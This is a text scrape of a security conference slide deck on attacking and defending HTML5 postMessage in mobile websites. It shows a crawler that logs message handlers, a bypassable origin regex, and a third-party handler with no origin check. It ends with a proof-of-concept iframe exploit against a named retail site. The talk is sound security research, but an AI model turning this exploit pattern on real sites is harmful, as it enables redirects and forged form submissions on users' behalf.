SlideShare a Scribd company logo
1 of 88
Download to read offline
THE POSTMAN ALWAYS RINGS TWICE
ATTACKING AND DEFENDING postMessage
LUKAS KLEIN
1
postMessage?
2
postMessage?
3
postMessage?
•controlled mechanism to circumvent SOP
3
postMessage?
•controlled mechanism to circumvent SOP
•dispatches MessageEvent
3
postMessage?
•controlled mechanism to circumvent SOP
•dispatches MessageEvent
•type (always “message”)
3
postMessage?
•controlled mechanism to circumvent SOP
•dispatches MessageEvent
•type (always “message”)
•data (user supplied)
3
postMessage?
•controlled mechanism to circumvent SOP
•dispatches MessageEvent
•type (always “message”)
•data (user supplied)
•origin (origin of the window calling)
3
postMessage?
•controlled mechanism to circumvent SOP
•dispatches MessageEvent
•type (always “message”)
•data (user supplied)
•origin (origin of the window calling)
•source (window calling)
3
postMessage?
•controlled mechanism to circumvent SOP
•dispatches MessageEvent
•type (always “message”)
•data (user supplied)
•origin (origin of the window calling)
•source (window calling)
4
•dispatches MessageEvent
•type (always “message”)
•data (user supplied)
•origin (origin of the window calling)
•source (window calling)
postMessage?
5
•dispatches MessageEvent
•type (always “message”)
•data (user supplied)
•origin (origin of the window calling)
•source (window calling)
postMessage?
http://hostname:port
6
•dispatches MessageEvent
•type (always “message”)
•data (user supplied)
•origin (origin of the window calling)
•source (window calling)
postMessage?
http://hostname:port
7
•dispatches MessageEvent
•type (always “message”)
•data (user supplied)
•origin (origin of the window calling)
•source (window calling)
postMessage?
http://hostname:port
8
•dispatches MessageEvent
•type (always “message”)
•data (user supplied)
•origin (origin of the window calling)
•source (window calling)
postMessage?
http://hostname:port
9
Potential Problems
10
Potential Problems
•You HAVE to check the origin
10
Potential Problems
•You HAVE to check the origin
11
Potential Problems
•You HAVE to check the origin
•CORRECTLY!
12
Mobile Detector
13
Mobile Detector
14
Mobile Detector
• for site in alexa_top_10000:
14
Mobile Detector
• for site in alexa_top_10000:
• desktop_url = request(site, user_agent=desktop)
14
Mobile Detector
• for site in alexa_top_10000:
• desktop_url = request(site, user_agent=desktop)
• mobile_url = request(site, user_agent=mobile)
14
Mobile Detector
• for site in alexa_top_10000:
• desktop_url = request(site, user_agent=desktop)
• mobile_url = request(site, user_agent=mobile)
14
Mobile Detector
• for site in alexa_top_10000:
• desktop_url = request(site, user_agent=desktop)
• mobile_url = request(site, user_agent=mobile)
• if desktop_url != mobile_url:
14
Mobile Detector
• for site in alexa_top_10000:
• desktop_url = request(site, user_agent=desktop)
• mobile_url = request(site, user_agent=mobile)
• if desktop_url != mobile_url:
• has_mobile_version = True
14
Mobile Detector
15
Mobile Detector
• ~ 2500 dedicated mobile sites
15
Mobile Detector
• ~ 2500 dedicated mobile sites
• Many false positives
15
Mobile Detector
• ~ 2500 dedicated mobile sites
• Many false positives
• http://site.tld/?session=123 vs. http://site.tld/?session=456
15
Mobile Detector
• ~ 2500 dedicated mobile sites
• Many false positives
• http://site.tld/?session=123 vs. http://site.tld/?session=456
• After manual cleanup: ~2170 mobile sites remaining
15
Mobile Detector
• ~ 2500 dedicated mobile sites
• Many false positives
• http://site.tld/?session=123 vs. http://site.tld/?session=456
• After manual cleanup: ~2170 mobile sites remaining
• Most common:
15
Mobile Detector
• ~ 2500 dedicated mobile sites
• Many false positives
• http://site.tld/?session=123 vs. http://site.tld/?session=456
• After manual cleanup: ~2170 mobile sites remaining
• Most common:
• m.domain
15
Mobile Detector
• ~ 2500 dedicated mobile sites
• Many false positives
• http://site.tld/?session=123 vs. http://site.tld/?session=456
• After manual cleanup: ~2170 mobile sites remaining
• Most common:
• m.domain
• domain/m
15
Mobile Detector
• ~ 2500 dedicated mobile sites
• Many false positives
• http://site.tld/?session=123 vs. http://site.tld/?session=456
• After manual cleanup: ~2170 mobile sites remaining
• Most common:
• m.domain
• domain/m
• domain/mobile
15
Data Collector
16
Data Collector
17
Data Collector
page.settings.userAgent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) …
17
Data Collector
page.settings.userAgent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) …
page.onInitialized = function() {
page.evaluate(function() {
});
};
17
Data Collector
page.settings.userAgent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) …
page.onInitialized = function() {
page.evaluate(function() {
});
};
page.open(args[1], function(status) {
phantom.exit();
});
17
Data Collector
page.settings.userAgent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) …
page.onInitialized = function() {
page.evaluate(function() {
});
};
(function(oldEventListener) {
var logReceiver = function(location, name, code) {
/*
Logs the location, receiver name and receiver code to our web api
*/
xmlhttp = new XMLHttpRequest();
xmlhttp.open('POST', 'https://collector.herokuapp.com/receivers/', true);
var params = 'url=' + encodeURIComponent(location) + 
'&receiver_name=' + encodeURIComponent(name) + 
’&receiver_code=' + encodeURIComponent(code);
xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xmlhttp.setRequestHeader('Content-Length', params.length);
xmlhttp.setRequestHeader('Connection', 'close');
xmlhttp.send(params);
};
// Overwrite the window.addEventListener function
window.addEventListener = function(type, listener, useCapture) {
if(/message/i.test(type)) { // If event is of type message
logReceiver(document.location, listener.name || '-', listener.toString());
}
}
})(window.addEventListener);
page.open(args[1], function(status) {
phantom.exit();
});
17
Data Collector
18
Data Collector
18
Data Collector
18
Data Collector
18
Data Collector
18
Data Collector
18
19
20
21
22
Data Collector
23
Data Collector
• ~2800 Receivers
23
Data Collector
• ~2800 Receivers
• ~800 Uniques
23
24
function ka(a) {
if (/[/|.]chartbeat.com$/.test(a.origin)) {
...
}
}
25
[/|.]chartbeat.com$
26
[/|.]chartbeat.com$
27
[/|.]chartbeat.com$
/ or | or .
28
lukasklein.com/chartbeat.com
is valid!
29
30
31
32
32
32
32
32
32
33
function (e) {
/*
Our messages are always exchanged using a string protocol,
If the data is not a string, we should skip the parsing
*/
if (typeof e.data !== 'string') return;
var message = e.data.split(',')[0]
var value = e.data.split(',')[1]
if ( message === "close" ) {
esc(value, true)
}
if ( message === "redirect" ) {
yiel.yieldify_will_redirect = true
form_refill_capture();
value = e.data.substring(e.data.indexOf(",")+1)
window.location.href = value
}
if ( message === "direct_show" ) {
yiel.fn.deleteYieldifyCookie("after_submit")
yiel_visible("campaign",value, true);
}
if ( message === "form" ) {
var s = value.split(';')[1]
s = decodeURIComponent(s)
var data = {}
var sp= s.split('&')
var key,aa;
var i;
for(i=0;i<sp.length;i++){
key = sp[i]
aa=key.split('=')
data[aa[0]] = aa[1]
}
if(value.split(';').length == 2){
yiel_post_to_url(value.split(';')[0], data, "")
}else{
yiel_post_to_url(value.split(';')[0], data, value.split(';')[2])
}
esc(value)
}
if ( message === "sales" ) {
//If click a link and the id for this campaign was asked to track sales then add
//a cookie by id for this campaign
//The value is the id
var track_sales = yiel.overlays_y[value].track_sales
if(yiel.website.track_sale!=null && yiel.website.track_sale!="" && track_sales!=null
var saleCookie = yiel.fn.getYieldifyCookie("sale")
/*if (saleCookie!=null && saleCookie!=""){
value = saleCookie + "," + value
}*/
…
34
No origin check
at all 35
But wait, there is security!
36
/*
Our messages are always exchanged using a string protocol,
If the data is not a string, we should skip the parsing
*/
if (typeof e.data !== 'string') return;
37
38
String protocol
39
message,value
40
message,value
41
message,value
•redirect
41
message,value
•redirect
•form
41
message,value
•redirect
•form
•showalert
41
showalert
if ( message === "showalert" ) {
alert(value)
}
42
POC
43
<iframe id="victim" src=“
http://www.anthropologie.eu/mobile/index.jsp?currency=200004"></iframe>
<script>
var attack = function() {
var victim = document.getElementById('victim').contentWindow;
victim.postMessage('showalert,haha', 'http://www.anthropologie.eu');
};
</script>
<button onclick="attack()">Attack</button>
44
<iframe id="victim" src=“
http://www.anthropologie.eu/mobile/index.jsp?currency=200004"></iframe>
<script>
var attack = function() {
var victim = document.getElementById('victim').contentWindow;
victim.postMessage('showalert,haha', 'http://www.anthropologie.eu');
};
</script>
<button onclick="attack()">Attack</button>
45
46
47
Q&A
48

More Related Content

Viewers also liked (8)

Film noir poster research
Film noir poster researchFilm noir poster research
Film noir poster research
 
Institutions Research
Institutions ResearchInstitutions Research
Institutions Research
 
Noir films timeline - A2 Media
Noir films timeline - A2 MediaNoir films timeline - A2 Media
Noir films timeline - A2 Media
 
Film noir
Film noirFilm noir
Film noir
 
Film Noir target audience
Film Noir target audienceFilm Noir target audience
Film Noir target audience
 
FILM NOIR
FILM NOIRFILM NOIR
FILM NOIR
 
Film noir codes & conventions
Film noir codes & conventionsFilm noir codes & conventions
Film noir codes & conventions
 
Conventions of Film Noir
Conventions of Film NoirConventions of Film Noir
Conventions of Film Noir
 

Similar to Attacking and defending HTML5 postMessage in mobile websites

Similar to Attacking and defending HTML5 postMessage in mobile websites (20)

Node.js: Continuation-Local-Storage and the Magic of AsyncListener
Node.js: Continuation-Local-Storage and the Magic of AsyncListenerNode.js: Continuation-Local-Storage and the Magic of AsyncListener
Node.js: Continuation-Local-Storage and the Magic of AsyncListener
 
5 must have patterns for your microservice - techorama
5 must have patterns for your microservice - techorama5 must have patterns for your microservice - techorama
5 must have patterns for your microservice - techorama
 
OSMC 2014: OpenNMS 14 | Tarus Balog
OSMC 2014: OpenNMS 14 | Tarus BalogOSMC 2014: OpenNMS 14 | Tarus Balog
OSMC 2014: OpenNMS 14 | Tarus Balog
 
Java/Scala Lab: Анатолий Кметюк - Scala SubScript: Алгебра для реактивного пр...
Java/Scala Lab: Анатолий Кметюк - Scala SubScript: Алгебра для реактивного пр...Java/Scala Lab: Анатолий Кметюк - Scala SubScript: Алгебра для реактивного пр...
Java/Scala Lab: Анатолий Кметюк - Scala SubScript: Алгебра для реактивного пр...
 
Solr @ Etsy - Apache Lucene Eurocon
Solr @ Etsy - Apache Lucene EuroconSolr @ Etsy - Apache Lucene Eurocon
Solr @ Etsy - Apache Lucene Eurocon
 
Adventures in civic hacking
Adventures in civic hackingAdventures in civic hacking
Adventures in civic hacking
 
Loophole: Timing Attacks on Shared Event Loops in Chrome
Loophole: Timing Attacks on Shared Event Loops in ChromeLoophole: Timing Attacks on Shared Event Loops in Chrome
Loophole: Timing Attacks on Shared Event Loops in Chrome
 
ELK stack at weibo.com
ELK stack at weibo.comELK stack at weibo.com
ELK stack at weibo.com
 
Soap tips
Soap tipsSoap tips
Soap tips
 
Apache Incubator Samza: Stream Processing at LinkedIn
Apache Incubator Samza: Stream Processing at LinkedInApache Incubator Samza: Stream Processing at LinkedIn
Apache Incubator Samza: Stream Processing at LinkedIn
 
Journée DevOps : Des dashboards pour tous avec ElasticSearch, Logstash et Kibana
Journée DevOps : Des dashboards pour tous avec ElasticSearch, Logstash et KibanaJournée DevOps : Des dashboards pour tous avec ElasticSearch, Logstash et Kibana
Journée DevOps : Des dashboards pour tous avec ElasticSearch, Logstash et Kibana
 
OSMC 2014: Monitoring VoIP Systems | Sebastian Damm
OSMC 2014: Monitoring VoIP Systems | Sebastian DammOSMC 2014: Monitoring VoIP Systems | Sebastian Damm
OSMC 2014: Monitoring VoIP Systems | Sebastian Damm
 
Monitoring VoIP Systems
Monitoring VoIP SystemsMonitoring VoIP Systems
Monitoring VoIP Systems
 
Rule Language for IoT
Rule Language for IoTRule Language for IoT
Rule Language for IoT
 
Beyond php - it's not (just) about the code
Beyond php - it's not (just) about the codeBeyond php - it's not (just) about the code
Beyond php - it's not (just) about the code
 
Server Side Swift
Server Side SwiftServer Side Swift
Server Side Swift
 
The Ring programming language version 1.10 book - Part 94 of 212
The Ring programming language version 1.10 book - Part 94 of 212The Ring programming language version 1.10 book - Part 94 of 212
The Ring programming language version 1.10 book - Part 94 of 212
 
Curator intro
Curator introCurator intro
Curator intro
 
Life Cycle of Metrics, Alerting, and Performance Monitoring in Microservices
Life Cycle of Metrics, Alerting, and Performance Monitoring in MicroservicesLife Cycle of Metrics, Alerting, and Performance Monitoring in Microservices
Life Cycle of Metrics, Alerting, and Performance Monitoring in Microservices
 
Drilling Cyber Security Data With Apache Drill
Drilling Cyber Security Data With Apache DrillDrilling Cyber Security Data With Apache Drill
Drilling Cyber Security Data With Apache Drill
 

Recently uploaded

一比一定制加州大学欧文分校毕业证学位证书
一比一定制加州大学欧文分校毕业证学位证书一比一定制加州大学欧文分校毕业证学位证书
一比一定制加州大学欧文分校毕业证学位证书
A
 
原版定制英国赫瑞瓦特大学毕业证原件一模一样
原版定制英国赫瑞瓦特大学毕业证原件一模一样原版定制英国赫瑞瓦特大学毕业证原件一模一样
原版定制英国赫瑞瓦特大学毕业证原件一模一样
AS
 
一比一原版(TRU毕业证书)温哥华社区学院毕业证如何办理
一比一原版(TRU毕业证书)温哥华社区学院毕业证如何办理一比一原版(TRU毕业证书)温哥华社区学院毕业证如何办理
一比一原版(TRU毕业证书)温哥华社区学院毕业证如何办理
Fir
 
一比一原版(毕业证书)新西兰怀特克利夫艺术设计学院毕业证原件一模一样
一比一原版(毕业证书)新西兰怀特克利夫艺术设计学院毕业证原件一模一样一比一原版(毕业证书)新西兰怀特克利夫艺术设计学院毕业证原件一模一样
一比一原版(毕业证书)新西兰怀特克利夫艺术设计学院毕业证原件一模一样
AS
 
一比一原版布兰迪斯大学毕业证如何办理
一比一原版布兰迪斯大学毕业证如何办理一比一原版布兰迪斯大学毕业证如何办理
一比一原版布兰迪斯大学毕业证如何办理
A
 
一比一原版(毕业证书)新加坡南洋理工学院毕业证原件一模一样
一比一原版(毕业证书)新加坡南洋理工学院毕业证原件一模一样一比一原版(毕业证书)新加坡南洋理工学院毕业证原件一模一样
一比一原版(毕业证书)新加坡南洋理工学院毕业证原件一模一样
AS
 
原版定制美国加州大学河滨分校毕业证原件一模一样
原版定制美国加州大学河滨分校毕业证原件一模一样原版定制美国加州大学河滨分校毕业证原件一模一样
原版定制美国加州大学河滨分校毕业证原件一模一样
A
 
一比一原版(Soton毕业证书)南安普顿大学毕业证原件一模一样
一比一原版(Soton毕业证书)南安普顿大学毕业证原件一模一样一比一原版(Soton毕业证书)南安普顿大学毕业证原件一模一样
一比一原版(Soton毕业证书)南安普顿大学毕业证原件一模一样
Fi
 
一比一原版澳大利亚迪肯大学毕业证如何办理
一比一原版澳大利亚迪肯大学毕业证如何办理一比一原版澳大利亚迪肯大学毕业证如何办理
一比一原版澳大利亚迪肯大学毕业证如何办理
SS
 

Recently uploaded (20)

一比一定制加州大学欧文分校毕业证学位证书
一比一定制加州大学欧文分校毕业证学位证书一比一定制加州大学欧文分校毕业证学位证书
一比一定制加州大学欧文分校毕业证学位证书
 
原版定制英国赫瑞瓦特大学毕业证原件一模一样
原版定制英国赫瑞瓦特大学毕业证原件一模一样原版定制英国赫瑞瓦特大学毕业证原件一模一样
原版定制英国赫瑞瓦特大学毕业证原件一模一样
 
Discovering OfficialUSA.com Your Go-To Resource.pdf
Discovering OfficialUSA.com Your Go-To Resource.pdfDiscovering OfficialUSA.com Your Go-To Resource.pdf
Discovering OfficialUSA.com Your Go-To Resource.pdf
 
SOC Analyst Guide For Beginners SOC analysts work as members of a managed sec...
SOC Analyst Guide For Beginners SOC analysts work as members of a managed sec...SOC Analyst Guide For Beginners SOC analysts work as members of a managed sec...
SOC Analyst Guide For Beginners SOC analysts work as members of a managed sec...
 
一比一原版(TRU毕业证书)温哥华社区学院毕业证如何办理
一比一原版(TRU毕业证书)温哥华社区学院毕业证如何办理一比一原版(TRU毕业证书)温哥华社区学院毕业证如何办理
一比一原版(TRU毕业证书)温哥华社区学院毕业证如何办理
 
TOP 100 Vulnerabilities Step-by-Step Guide Handbook
TOP 100 Vulnerabilities Step-by-Step Guide HandbookTOP 100 Vulnerabilities Step-by-Step Guide Handbook
TOP 100 Vulnerabilities Step-by-Step Guide Handbook
 
APNIC Updates presented by Paul Wilson at CaribNOG 27
APNIC Updates presented by Paul Wilson at  CaribNOG 27APNIC Updates presented by Paul Wilson at  CaribNOG 27
APNIC Updates presented by Paul Wilson at CaribNOG 27
 
Free on Wednesdays T Shirts Free on Wednesdays Sweatshirts
Free on Wednesdays T Shirts Free on Wednesdays SweatshirtsFree on Wednesdays T Shirts Free on Wednesdays Sweatshirts
Free on Wednesdays T Shirts Free on Wednesdays Sweatshirts
 
Reggie miller choke t shirtsReggie miller choke t shirts
Reggie miller choke t shirtsReggie miller choke t shirtsReggie miller choke t shirtsReggie miller choke t shirts
Reggie miller choke t shirtsReggie miller choke t shirts
 
Thank You Luv I’ll Never Walk Alone Again T shirts
Thank You Luv I’ll Never Walk Alone Again T shirtsThank You Luv I’ll Never Walk Alone Again T shirts
Thank You Luv I’ll Never Walk Alone Again T shirts
 
一比一原版(毕业证书)新西兰怀特克利夫艺术设计学院毕业证原件一模一样
一比一原版(毕业证书)新西兰怀特克利夫艺术设计学院毕业证原件一模一样一比一原版(毕业证书)新西兰怀特克利夫艺术设计学院毕业证原件一模一样
一比一原版(毕业证书)新西兰怀特克利夫艺术设计学院毕业证原件一模一样
 
Beyond Inbound: Unlocking the Secrets of API Egress Traffic Management
Beyond Inbound: Unlocking the Secrets of API Egress Traffic ManagementBeyond Inbound: Unlocking the Secrets of API Egress Traffic Management
Beyond Inbound: Unlocking the Secrets of API Egress Traffic Management
 
一比一原版布兰迪斯大学毕业证如何办理
一比一原版布兰迪斯大学毕业证如何办理一比一原版布兰迪斯大学毕业证如何办理
一比一原版布兰迪斯大学毕业证如何办理
 
一比一原版(毕业证书)新加坡南洋理工学院毕业证原件一模一样
一比一原版(毕业证书)新加坡南洋理工学院毕业证原件一模一样一比一原版(毕业证书)新加坡南洋理工学院毕业证原件一模一样
一比一原版(毕业证书)新加坡南洋理工学院毕业证原件一模一样
 
I’ll See Y’All Motherfuckers In Game 7 Shirt
I’ll See Y’All Motherfuckers In Game 7 ShirtI’ll See Y’All Motherfuckers In Game 7 Shirt
I’ll See Y’All Motherfuckers In Game 7 Shirt
 
iThome_CYBERSEC2024_Drive_Into_the_DarkWeb
iThome_CYBERSEC2024_Drive_Into_the_DarkWebiThome_CYBERSEC2024_Drive_Into_the_DarkWeb
iThome_CYBERSEC2024_Drive_Into_the_DarkWeb
 
原版定制美国加州大学河滨分校毕业证原件一模一样
原版定制美国加州大学河滨分校毕业证原件一模一样原版定制美国加州大学河滨分校毕业证原件一模一样
原版定制美国加州大学河滨分校毕业证原件一模一样
 
一比一原版(Soton毕业证书)南安普顿大学毕业证原件一模一样
一比一原版(Soton毕业证书)南安普顿大学毕业证原件一模一样一比一原版(Soton毕业证书)南安普顿大学毕业证原件一模一样
一比一原版(Soton毕业证书)南安普顿大学毕业证原件一模一样
 
Subdomain enumeration is a crucial phase in cybersecurity, particularly durin...
Subdomain enumeration is a crucial phase in cybersecurity, particularly durin...Subdomain enumeration is a crucial phase in cybersecurity, particularly durin...
Subdomain enumeration is a crucial phase in cybersecurity, particularly durin...
 
一比一原版澳大利亚迪肯大学毕业证如何办理
一比一原版澳大利亚迪肯大学毕业证如何办理一比一原版澳大利亚迪肯大学毕业证如何办理
一比一原版澳大利亚迪肯大学毕业证如何办理
 

Attacking and defending HTML5 postMessage in mobile websites